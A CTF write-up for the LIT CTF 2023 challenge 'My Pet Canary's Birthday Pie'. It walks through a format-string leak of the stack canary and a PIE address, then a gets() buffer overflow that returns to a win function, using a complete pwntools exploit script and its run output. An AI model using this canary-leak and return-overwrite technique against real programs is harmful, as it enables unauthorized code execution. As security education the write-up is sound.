Writeup LIT CTF:My Pet Canary's Birthday Pie
by Francesco#My Pet Canary’s Birthday Pie [LIT CTF 2023] My Pet Canary’s Birthday Pie (Lexington Informatics Tournament 2023)
Description
Here is my first c program! I’ve heard about lots of security features in c, whatever they do. The point is, c looks like a very secure language to me! Try breaking it.
Let’s check the protections enabled
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
All protections enabled nice, ain’t it? I will upload the binary on dogbolt.org , we can see that there is a win function and a vuln function. It seems a more complex version of a ret2win chall.
Let’s analyze the vuln function
void vuln(void)
{
long in_FS_OFFSET;
char local_38 [40];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
gets(local_38);
printf(local_38);
fflush(stdout);
gets(local_38);
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
// WARNING: Subroutine does not return
__stack_chk_fail();
}
return;
} The interesting functions are the two gets() (bof) and printf() (fmt) . Also is obvious that there is a canary for the check that includes fs+0x28, common place where the canary is loaded. Plan: PIE is enabled so we won't find precise address but offsets, we need to exploit the printf with a format string attack to leak the canary and an address in .text segment, then with the second gets() we will return to win function.
LEAKING STUFF! Here is my script that ‘fuzz’ the binary to find some leak
from pwn import *
elf = ELF("./s")
f = open("format.txt", "w")
for i in range(100):
io = elf.process()
p = f"%{i}$p"
io.sendline(p)
data = f"{i} : {io.recv(1024,timeout=2)}\n"
f.write(data)
io.close()
First of all we need to load the binary on gdb (I use it with pwndbg extension) and check the offsets of every segment of the binary… Here the result of vmmap command:
Start End Perm Size Offset File
0x555555554000 0x555555555000 r--p 1000 0 /home/ctf/lit ctf/Canary/s
0x555555555000 0x555555556000 r-xp 1000 1000 /home/ctf/lit ctf/Canary/s
0x555555556000 0x555555557000 r--p 1000 2000 /home/ctf/lit ctf/Canary/s
0x555555557000 0x555555558000 r--p 1000 2000 /home/ctf/lit ctf/Canary/s
0x555555558000 0x555555559000 rw-p 1000 3000 /home/ctf/lit ctf/Canary/s
0x7ffff7c00000 0x7ffff7c28000 r--p 28000 0 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7c28000 0x7ffff7dbd000 r-xp 195000 28000 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7dbd000 0x7ffff7e15000 r--p 58000 1bd000 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7e15000 0x7ffff7e19000 r--p 4000 214000 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7e19000 0x7ffff7e1b000 rw-p 2000 218000 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7e1b000 0x7ffff7e28000 rw-p d000 0 [anon_7ffff7e1b]
0x7ffff7fa2000 0x7ffff7fa5000 rw-p 3000 0 [anon_7ffff7fa2]
0x7ffff7fbb000 0x7ffff7fbd000 rw-p 2000 0 [anon_7ffff7fbb]
0x7ffff7fbd000 0x7ffff7fc1000 r--p 4000 0 [vvar]
0x7ffff7fc1000 0x7ffff7fc3000 r-xp 2000 0 [vdso]
0x7ffff7fc3000 0x7ffff7fc5000 r--p 2000 0 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7ffff7fc5000 0x7ffff7fef000 r-xp 2a000 2000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7ffff7fef000 0x7ffff7ffa000 r--p b000 2c000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7ffff7ffb000 0x7ffff7ffd000 r--p 2000 37000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7ffff7ffd000 0x7ffff7fff000 rw-p 2000 39000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack]
0xffffffffff600000 0xffffffffff601000 --xp 1000 0 [vsyscall]
So for leaking the entry address of the binary we will only check address that are between 0x555555554000 and 0x555555559000, right? Nop, there is also aslr, these are address that works only on gdb :(
What we do know is that the first byte of the address tells us what area we are in. In our case we have to look for addresses starting with 0x55
Here the content of format.txt
1 : b'0x1'
2 : b'0x1'
3 : b'0x7fc013819aa0'
4 : b'(nil)'
5 : b'(nil)'
6 : b'0x7f0070243625'
7 : b'0x7f28e3e815ff'
8 : b'0x2'
9 : b'(nil)'
10 : b'0x7fffecbc1400'
11 : b'0x31bcc6765db6100'
12 : b'0x7fff004d87d0'
13 : b'0x55c5c9d882ae'
14 : b'0x1'
15 : b'0x7f8ed7029d90'
16 : b'(nil)'
17 : b'0x555a8b583274'
18 : b'0x117ac1510'
19 : b'0x7ffc0095ad68'
20 : b'(nil)'
21 : b'0xa91c739ab1894809'
22 : b'0x7ffedd87cf48'
23 : b'0x564905442274'
24 : b'(nil)'
25 : b'0x7efcc485a040'
26 : b'0xebf7f9a8b02d9879'
27 : b'0xc87848ba38083c06'
28 : b'0x7fdf00000000'
29 : b'(nil)'
30 : b'(nil)'
31 : b'0x7ffd61c8a298'
32 : b'(nil)'
33 : b'0xd946867be51dee00'
34 : b'(nil)'
35 : b'0x7f5c4cc29e40'
36 : b'0x7fff00000000'
37 : b'0x7ffd81e4dfa8'
38 : b'0x7f28468672e0'
39 : b'(nil)'
40 : b'(nil)'
41 : b'0x55bb318c3100'
42 : b'0x7ffdadf90340'
43 : b'(nil)'
44 : b'(nil)'
45 : b'0x55dabc0b712e'
46 : b'0x7ffda1a1a5f8'
47 : b'0x1c'
48 : b'0x1'
49 : b'0x7fff06aa634a'
50 : b'(nil)'
51 : b'0x7ffce32fe365'
52 : b'0x7fff1cd9e375'
53 : b'0x7ffd9649c3e1'
54 : b'0x7ffd1d2053f4'
55 : b'0x7fffe6bb3408'
56 : b'0x7fffe3065435'
57 : b'0x7ffdf130f456'
58 : b'0x7fff689c346d'
59 : b'0x7ffffcc95499'
60 : b'0x7ffea09c24a9'
61 : b'0x7fff766104c0'
62 : b'0x7ffe968c24e0'
63 : b'0x7fff902964f4'
64 : b'0x7ffe4eead51d'
65 : b'0x7ffe91100531'
66 : b'0x7ffc1d4e6548'
67 : b'0x7ffd7738e560'
68 : b'0x7ffdc677457c'
69 : b'0x7fff1bdc5599'
70 : b'0x7ffc7fc0f5a5'
71 : b'0x7ffd6ca725c0'
72 : b'0x7ffd82a2f5d9'
73 : b'0x7ffee23545f1'
74 : b'0x7ffedd589627'
75 : b'0x7ffdffc2f636'
76 : b'0x7ffe0696f643'
77 : b'0x7ffefccfc655'
78 : b'0x7ffc275ba66a'
79 : b'0x7ffd633de67b'
80 : b'0x7ffd12e76c6a'
81 : b'0x7fffa485fc8b'
82 : b'0x7ffecf4acc9c'
83 : b'0x7ffe23733cb6'
84 : b'0x7ffc3aeb7d0c'
85 : b'0x7ffd26f80d23'
86 : b'0x7ffd79a9ed45'
87 : b'0x7ffe80d23d5c'
88 : b'0x7ffee0d4ad70'
89 : b'0x7ffc2eafbd8e'
90 : b'0x7ffede02fdae'
91 : b'0x7ffdc1c22db7'
92 : b'0x7ffe80639dd5'
93 : b'0x7ffcaa26fde0'
94 : b'0x7ffff6687de8'
95 : b'0x7ffcfbc5ce01'
96 : b'0x7ffc68441e13'
97 : b'0x7ffc153ace2e'
98 : b'0x7ffc5030fe4d'
99 : b'0x7ffe877efe61'
The canary seems to be in position 26 or 27 or 33, running the program on gdb and checking the canary with %26$p %27$p
and %33$p
, we can confirm that the canary is leaked with %33$p
.
On the other hand the base address could be within this two offset 41 or 45. I will try %41$p
:
Running on gdb, breaking at vuln after the printf we get an address and seems to suite perfectly for our job
pwndbg> xinfo 0x555555555100
Extended information for virtual address 0x555555555100:
Containing mapping:
0x555555555000 0x555555556000 r-xp 1000 1000 /home/ctf/lit ctf/Canary/s
Offset information:
Mapped Area 0x555555555100 = 0x555555555000 + 0x100
File (Base) 0x555555555100 = 0x555555554000 + 0x1100
File (Segment) 0x555555555100 = 0x555555555000 + 0x100
File (Disk) 0x555555555100 = /home/ctf/lit ctf/Canary/s + 0x1100
Containing ELF sections:
.text 0x555555555100 = 0x555555555100 + 0x0
So we will subtract 0x1100 to get base address of our binary.
We can start writing our exploit that leaks the canary and the base address:
from pwn import *
#context.log_level = 'debug'
elf = context.binary = ELF("./s")
ip, port = "litctf.org", 31791
io = elf.process()
#io = remote(ip,port)
#Leak Canary
p1 = "%33$p||%41$p"
io.sendline(p1)
data = io.recv(1024, timeout=2).split(b"||")
canary = int(data[0],16)
text = int(data[1], 16)
log.info(f"Canary : {hex(canary)}")
#Shell?
sub = 0x1100
base = text - sub
log.info(f"Base Address: {hex(base)}")
Now we also have the address of win function
win = p64(base + elf.sym['win'])
The only thing we need now is rop gadget for ‘ret’ instruction (bc stack alignment)
$ ROPgadget --binary=s|grep ": ret"
0x000000000000101a : ret
We can update our script
ret = p64(base + 0x000000000000101a)
Final payload will be like Offset + Canary + 8 bytes of junk + ret address + win address
Offset is 40 (tip run it on gdb create a cyclic of 100 and break at vuln, send this payload on second gets and then set rip at leave instruction, this will bypass the canary check…)
Running the exploit
$ python3 xpl.py
[*] '/home/ctf/lit ctf/Canary/s'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process '/home/ctf/lit ctf/Canary/s': pid 1318968
/home/ctf/lit ctf/Canary/xpl.py:9: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
io.sendline(p1)
[*] Canary : 0x2e3e27eaf0759600
[*] Base Address: 0x55c828f48000
[*] Win @ 0x55c828f491e9
[*] Switching to interactive mode
$ cat flag.txt
LITCTF{rule_1_of_pwn:_use_checksec_I_think_06d2ee2b}
$
Here is the final script
from pwn import *
#context.log_level = 'debug'
elf = context.binary = ELF("./s")
ip, port = "litctf.org", 31791
io = elf.process()
#io = remote(ip,port)
#Leak Canary
p1 = "%33$p||%41$p"
io.sendline(p1)
data = io.recv(1024, timeout=2).split(b"||")
canary = int(data[0],16)
text = int(data[1], 16)
log.info(f"Canary : {hex(canary)}")
#Shell?
sub = 0x1100
base = text - sub
log.info(f"Base Address: {hex(base)}")
win = p64(base + elf.sym['win'])
ret = p64(base + 0x000000000000101a)
log.info(f"Win @ {hex(u64(win))}")
off = 40
p2 = b"A"*off
p2 += p64(canary)
p2 += b"A"*8
p2 += ret
p2 += win
io.sendline(p2)
io.interactive()
If you have any question, want to ask me anything or give me any advice, just contact me and I will be super-available to answer to all of you! Hope to see you again!
tags: Hacking - Pwn